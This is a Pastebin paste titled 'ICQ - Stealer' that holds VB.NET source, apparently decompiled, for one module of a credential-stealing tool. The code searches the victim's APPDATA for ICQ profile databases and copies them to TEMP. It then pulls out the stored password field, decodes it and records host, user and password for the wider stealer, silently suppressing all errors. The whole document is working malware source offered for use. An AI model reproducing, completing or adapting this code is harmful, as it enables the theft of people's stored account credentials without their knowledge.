illusion_reality

ICQ - Stealer

Sep 2nd, 2016
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 3.06 KB | None | 0 0
  1. Imports System
  2. Imports System.IO
  3. Imports System.Text
  4. Imports Microsoft.VisualBasic
  5. Imports Microsoft.VisualBasic.CompilerServices
  6.  
  7. Namespace Stealer_v0._2
  8.     Friend Module ICQ
  9.         Public Sub ICQ_Recovery()
  10.             Try
  11.                 Dim path As String = Interaction.Environ("APPDATA") + "\ICQ"
  12.                 Dim directories As String() = Directory.GetDirectories(path, "*", SearchOption.TopDirectoryOnly)
  13.                 Dim arg_2C_0 As Integer = 0
  14.                 Dim num As Integer = directories.Length - 1
  15.                 Dim num2 As Integer = arg_2C_0
  16.                 While True
  17.                     Dim arg_288_0 As Integer = num2
  18.                     Dim num3 As Integer = num
  19.                     If arg_288_0 > num3 Then
  20.                         Exit While
  21.                     End If
  22.                     Dim flag As Boolean = Versioned.IsNumeric(directories(num2).Split(New Char() { "\"c })(directories(num2).Split(New Char() { "\"c }).Length - 1))
  23.                     If flag Then
  24.                         flag = File.Exists(directories(num2) + "\Owner.mdb")
  25.                         Dim sourceFileName As String
  26.                         If flag Then
  27.                             sourceFileName = directories(num2) + "\Owner.mdb"
  28.                         Else
  29.                             sourceFileName = directories(num2) + "\Owner.qdb"
  30.                         End If
  31.                         File.Copy(sourceFileName, Interaction.Environ("TEMP") + "\temp.dat")
  32.                         Dim text As String = Encoding.Unicode.GetString(File.ReadAllBytes(Interaction.Environ("TEMP") + "\temp.dat"))
  33.                         File.Delete(Interaction.Environ("TEMP") + "\temp.dat")
  34.                         text = text.Replace(vbNullChar, "")
  35.                         ' The following expression was wrapped in a unchecked-expression
  36.                         Dim num4 As Long = CLng(text.IndexOf("StoredPassword"))
  37.                         Dim text2 As String = ""
  38.                         flag = (num4 > 0L)
  39.                         If flag Then
  40.                             text = text.Substring(CInt(num4))
  41.                             text = text.Replace(Conversions.ToString(Strings.Chr(132)), "")
  42.                             Dim array As Byte() = Convert.FromBase64String(Strings.Mid(text, 17, 44))
  43.                             Dim num5 As Integer = 0
  44.                             Dim arg_1D4_0 As Integer
  45.                             Do
  46.                                 flag = (Conversion.Hex(array(num5)).Length < 2)
  47.                                 If flag Then
  48.                                     text2 = text2 + "0" + Conversion.Hex(array(num5))
  49.                                 Else
  50.                                     text2 += Conversion.Hex(array(num5))
  51.                                 End If
  52.                                 num5 += 1
  53.                                 arg_1D4_0 = num5
  54.                                 num3 = 15
  55.                             Loop While arg_1D4_0 <= num3
  56.                         End If
  57.                         flag = (Operators.CompareString(text2, "", False) <> 0)
  58.                         If flag Then
  59.                             ICQ.Add("http://www.icq.com", directories(num2).Split(New Char() { "\"c })(directories(num2).Split(New Char() { "\"c }).Length - 1), text2)
  60.                         Else
  61.                             ICQ.Add("http://www.icq.com", directories(num2).Split(New Char() { "\"c })(directories(num2).Split(New Char() { "\"c }).Length - 1), "-")
  62.                         End If
  63.                     End If
  64.                     num2 += 1
  65.                 End While
  66.             Catch expr_28F As Exception
  67.                 ProjectData.SetProjectError(expr_28F)
  68.                 ProjectData.ClearProjectError()
  69.             End Try
  70.         End Sub
  71.  
  72.         Private Sub Add(Host As String, User As String, Password As String)
  73.             Try
  74.                 Main.ICQp = String.Concat(New String() { "Host: ", Host, vbCrLf & " User: ", User, vbCrLf & " Password: ", Password, vbCrLf })
  75.             Catch expr_49 As Exception
  76.                 ProjectData.SetProjectError(expr_49)
  77.                 ProjectData.ClearProjectError()
  78.             End Try
  79.         End Sub
  80.     End Module
Add Comment
Please, Sign In to add comment